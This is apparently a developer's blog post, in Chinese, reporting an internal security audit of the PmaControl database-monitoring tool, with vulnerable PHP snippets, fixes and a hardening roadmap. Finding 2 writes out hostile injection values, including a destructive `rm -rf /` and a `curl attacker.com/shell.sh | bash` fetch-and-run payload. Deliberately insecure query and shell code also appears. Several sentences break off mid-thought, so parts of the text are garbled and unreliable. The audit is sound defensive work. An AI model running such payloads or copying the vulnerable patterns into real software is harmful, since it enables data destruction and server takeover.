PmaControl 安全审计：加固路线图

Aurélien LEQUOY · 2026年3月10日

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

为什么要审计自己的代码

PmaControl 监控生产环境的 MariaDB / MySQL 基础设施。它有权访问指标、配置、SSH 密钥和连接凭据。它是攻击者的首要目标。

我们进行了一次内部安全审计 —— 不是为了发布营销报告，而是为了识别真实的缺陷并确定修复的优先级。本文毫不讳言地详述审计结果。

方法论

审计涵盖以下方面：

- 静态分析：PHP 控制器、模型和视图的手动分析
- 动态分析：对我们的 API 端点的注入测试
- 配置：配置文件、文件系统权限、密钥
- 架构：攻击面、组件隔离、数据流

发现 1：通过动态查询构建的 SQL 注入

严重性：危急

多个控制器通过直接拼接用户参数来构建 SQL 查询：

```
// 在多个控制器中发现的模式
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

这种模式容易受到[典型的 SQL 注入]攻击。或[LOAD DATA 窃取文件]、修改记录，在最糟糕的情况下，通过

已识别的实例

控制器	端点	易受攻击的参数
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

修复方案

将字符串连接替换为参数化查询（预处理语句）：

```
// 修复前（易受攻击）
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// 修复后（安全）
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

Glial 框架原生支持预处理语句。问题不在技术层面，而在历史原因：代码编写于系统性采用此实践之前。

发现 2：备份控制器中的 Shell 注入

严重性：危急

备份控制器将用户输入直接传递给

```
// 在 BackupController 中发现的模式
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

如 `$host` 包含 `; rm -rf /` 或 `$(curl attacker.com/shell.sh | bash)`，该命令将以 PHP 进程的权限执行。

这是审计中最严重的漏洞。一完整的 shell 攻击链可以在 PmaControl 服务器上获得

修复方案

1. 移除 shell 用户 exec() — 无例外
2. 使用 escapeshellarg() 作为过渡措施（如果无法立即移除）
3. 原生方案 PHP 代替 shell 调用（PDO 替代 mysqldump，phpseclib 替代 SSH）

```
// 过渡措施（单独使用不够充分）
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// 最终解决方案：完全不使用 shell
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... 通过 PDO 和 SELECT INTO OUTFILE 或等效方式进行备份
```

发现 3：配置文件中的明文密码

严重性：高

受监控数据库的连接凭据以明文形式存储在 PHP 配置文件中：

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!',  // 明文
    ],
];
```

任何拥有文件系统读取权限的人都可以访问这些文件。它们也可能被提交到 Git 中。

修复方案

1. 静态加密密钥，使用从环境变量派生的密钥
2. 对 HashiCorp Vault、AWS Secrets Manager）
3. 至少将密码存储在环境变量中而非文件中

```
// 修复后
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

发现 4: 缺少 CSRF 防护

严重性: 高

PmaControl 表单不包含 CSRF（跨站请求伪造）令牌。攻击者可以创建一个恶意网页，以已登录用户的身份提交 PmaControl 表单。

攻击场景:

1. PmaControl 管理员在一个标签页中已登录
2. 他们在另一个标签页中访问一个恶意网页
3. 该 `POST /servers/delete/42`
4. 浏览器发送 PmaControl 的会话 cookie — 服务器被删除

修复方案

在所有 POST 表单中实现 CSRF 令牌:

```
// 令牌生成
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// 在表单中
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// 服务端验证
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

发现 5: 分散的访问控制

严重性：中

ACL（访问控制列表）检查没有集中管理。每个控制器以不一致的方式实现自己的权限检查：

```
// 控制器 A：检查权限
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// 控制器 B：不做任何检查
public function deleteServer($id) {
    $this->ServerModel->delete($id);  // 无 ACL 检查
}
```

修复方案

将 ACL 集中到一个在每个控制器操作之前执行的中间件中：

```
// 集中式中间件
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

修复路线图

优先级 1 — 危急（立即）

操作	预估工作量	状态
所有控制器使用参数化查询	3-5 天	进行中
移除带用户输入的 shell_exec	1-2 天	进行中
所有表单添加 CSRF 令牌	2-3 天	已计划
配置中的密钥加密	1-2 天	已计划

优先级 2 — 高（30 天内）

操作	预估工作量	状态
将 SSH/备份工作线程隔离到独立进程	5-8 天	已计划
文件系统权限审计	1 天	已计划
API 和认证的速率限制	2-3 天	已计划

优先级 3 — 中（90 天内）

操作	预估工作量	状态
将 ACL 集中到中间件	3-5 天	已计划
规范化控制器模式	5-8 天	已计划
安全头（CSP、HSTS、X-Frame-Options）	1 天	已计划
集中式安全日志	2-3 天	已计划

本次审计未涵盖的范围

- 第三方依赖中的漏洞（jQuery、Bootstrap） — 已计划单独审计
- 网络漏洞（防火墙、TLS） — 这属于基础设施的责任
- 社会工程和钓鱼 — 超出技术范围

总结

一个能访问生产环境凭据的监控工具是一个关键目标。PmaControl 和许多有机增长的开源项目一样，背负着历史安全债务。

对这些缺陷的透明公开是一个深思熟虑的选择。我们宁愿公开记录漏洞和修复路线图，也不愿假装代码是安全的。

P1 修复正在进行中。P2 和 P3 按照切实可行的计划推进。每个 PmaControl 版本都在缩小攻击面。